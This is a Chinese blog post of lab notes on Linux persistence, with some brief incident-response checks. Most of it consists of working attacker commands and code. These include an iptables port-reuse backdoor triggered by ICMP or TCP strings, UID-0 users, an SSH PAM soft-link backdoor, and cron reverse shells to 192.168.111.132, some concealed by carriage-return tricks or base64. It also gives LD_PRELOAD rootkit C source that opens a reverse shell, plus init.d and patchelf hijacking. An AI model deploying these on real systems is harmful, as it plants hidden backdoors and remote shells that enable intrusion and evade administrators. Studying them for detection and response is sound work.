Linux持久化控制与应急实践

主要方式有:

端口复用

一般情况下,服务器开放某些特定端口来提供某项服务.例如提供HTTP服务的80端口,而对访问ssh服务22端口的流量进行屏蔽.攻击者可以通过端口复用技术,将访问ssh的数据流量通过服务器开放的80端口转发到服务器的22端口上,成功访问到ssh服务.

实验环境准备

操作系统: VMware + Centos7 ( 192.168.111.131)

  1. 启动ssh服务后,使用iptables禁止主机能够访问22端口

    sudo iptables -I INPUT 5 -s 192.168.111.1 -p tcp --dport 22 -j DROP
    
    删除这条防火墙记录
    iptables -D INPUT 5
    
  2. 在服务器上配置(使用TCP触发)[测试失败]

    • 创建端口复用链

      iptables -t nat -N LETMEIN
      
    • 添加端口复用规则到复用链内部,将流量转发至 22 端口

      iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
      
    • 如果TCP数据包中包含字符串"threathuntercoming",并且源地址是可信的(不是伪造的),就将这些数据包添加到名为"letmein"的列表中,并允许它们通过防火墙。

      iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
      
    • 如果TCP数据包中包含字符串"threathunterleaving",并且源地址在名为"letmein"的列表中,就从该列表中移除源地址,并允许这些数据包通过防火墙。

      iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
      
    • 对于来自TCP端口80的SYN数据包,如果源地址在名为"letmein"的列表中,并且在最近3600秒内有新连接,则将其重定向到名为LETMEIN的目标。

      iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
      
    1. 打开端口复用开关

      echo threathuntercoming | socat - tcp:192.168.111.131:80
      
  3. 使用ICMP触发 [测试成功]

    • 设置iptables

      iptables -t nat -N LETMEIN
      iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
      iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
      iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
      iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
      
    • 通过icmp协议触发(需要在攻击机上运行)

      ping -c 1 -s 1111 192.168.111.131
      
    • 使用icmp协议解除

      ping -c 1 -s 1112 192.168.111.131
      
  4. 连接SSH

    ssh root@192.168.111.131 -p 80
    

权限维持

超级用户

UID=0表示root用户,默认情况下只有root用户的UID为0,可以修改用户的UID,使其为0,成为超级用户

cat /etc/passwd | grep "/bin/bash$"

添加用户

sudo useradd -u 0 username			# don't create home dir
sudo useradd -u 0 -m username		# create home dir

修改用户UID

sudo usermod -u 0 -o username

检查UID为0的命令

awk -F: '$3 == 0 {print $1}' /etc/passwd

/etc/sudoers

sudo命令的工作原理是:当用户执行sudo命令时,系统会主动寻找/etc/sudoers文件,判断该用户是否具有执行sudo的权限,若确认用户具有权限后,让用户输入密码进行确认,但root用户在执行sudo时不需要输入密码,可以利用此文件配置如下内容让用户在不输入root用户密码的情况下使用sudo命令

然后以aa用户的身份输入如下命令:

sudo su
输入aa的密码

ssh软链接

  1. 查看/etc/ssh/sshd_config里面的UsePam为yes (Centos默认为yes)

  2. 查询可以用于软链接的路径

    find /etc/pam.d | xargs grep "pam_rootok"
    
  3. 建立一个软链接

    ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=1234
    
  4. 在测试的时候要注意关闭服务器的防火墙,不然连接不上

    systemctl stop firewalld.service
    

SSH软链接后门-xin

cp /etc/pam.d/su /etc/pam.d/java
#cp /etc/pam.d/su postgres

ln -sf /usr/sbin/sshd /java;
#ln -sf /usr/sbin/sshd /postgres;

/java -oPort=5555
#/postgres -oPort=5555


cp /etc/pam.d/su /etc/pam.d/java
ln -sf /usr/sbin/sshd /java;
/java -oPort=5555

应急响应:

netstat -anpt

ll /proc/5284

定时任务

主要的定时任务路径

/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/crontab
  1. 定时任务反弹SHELL

    crontab -l | { cat; echo "*/1 * * * * bash -i >& /dev/tcp/192.168.111.132/2333 0>&1"; } | crontab -
    
    // 使用crontab -l 看不到
    (crontab -l;printf "*/1 * * * * bash -i >& /dev/tcp/192.168.111.132/2333 0>&1;\rno crontab for `whoami`%100c\n")|crontab -
    
    // 更加隐秘
    echo '*/1 * * * * root echo L2Jpbi9iYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMTEuMTMyLzIzMzMgMDwmMSAyPiYx|base64 -d|sh' >> /etc/cron.d/0hourly
    
    删除定时任务
    crontab -e 
    删除所有的定时任务
    crontab -r
    

查看日志应急

cat /var/log/cron
cat -A /var/spool/cron/root

空口令用户

passwd -d test
echo "PermitEmptyPasswords yes" >> /etc/ssh/sshd_config
service sshd restart

应急

cat /etc/ssh/sshd_config | grep PermitEmpty

Rookit

环境变量LD_PRELOAD

  • LD_PRELOAD

    echo $LD_PRELOAD
    

    通过LD_PRELOAD环境变量配置恶意文件

    LD_PRELOAD=so文件的绝对路径
    export LD_PRELOAD
    

    制作LD_PRELOAD劫持so文件流程

    1. 查看我们要劫持的命令或系统文件中存在哪些可以被劫持的函数

      readelf -Ws /usr/bin/ls
      

    2. 选择strncmp函数作为劫持的函数,编译源码

      查看strncmp在linux是如何定义的

      • 获取GNU C库的源代码

        sudo apt-get install glibc-source		#Debian
        sudo yum install glibc-devel			#Centos
        
      • /usr/src//usr/include/中查看string.h文件中的strcmp

      #include<stdlib.h>
      #include<stdio.h>
      #include<string.h>
      
      void payload(){
      	system("bash -c '/bin/bash -i >& /dev/tcp/192.168.111.132/2333 0>&1'");
      }
      extern int strncmp (const char *__s1, const char *__s2, size_t __n)
      {
      	if(getenv("LD_PRELOAD") == NULL){
      		return 0;
      	}
      	unsetenv("LD_PRELOAD");
      	payload();
      }
      

      编译加载

      gcc -shared -fPIC test.c -o test.so
      
    3. 劫持全局命令

      #include<stdlib.h>
      #include<stdio.h>
      #include<string.h>
      
      __attribute__ ((__constructor__)) void preload (void){
      	unsetenv("LD_PRELOAD");
      	system("bash -c '/bin/bash -i >& /dev/tcp/192.168.111.132/2333 0>&1'");
      }
      
  • /etc/ld.so.preload

    在该文件中直接写入so文件的路径即可
    

启动项

  1. /etc/init.d/selinux下写入命令即可在服务器启动时的初始化过程中执行命令

    #!/bin/bash
    /usr/bin/bsd-port/knerl
    

    该文件需要具有可执行权限

    chmod 755 selinux
    

静态劫持库文件

  1. 查看劫持的命令都调用了哪些库文件

    ldd /usr/bin/whoami
    
  2. 下载工具Patchelf,上传至服务器

    # 添加静态库文件
    ./patchelf --add-needed /tmp/test.so /usr/bin/whoami
    # 删除静态库文件
    ./patchelf --remove-needed /tmp/test.so /usr/bin/whoami
    
  3. 结果如图所示

参考

持久化Linux
Linux应急响应专项培训(上)

posted @ 2024-05-10 22:15  你笑起来跟猫似的  阅读(300)  评论(0)    收藏  举报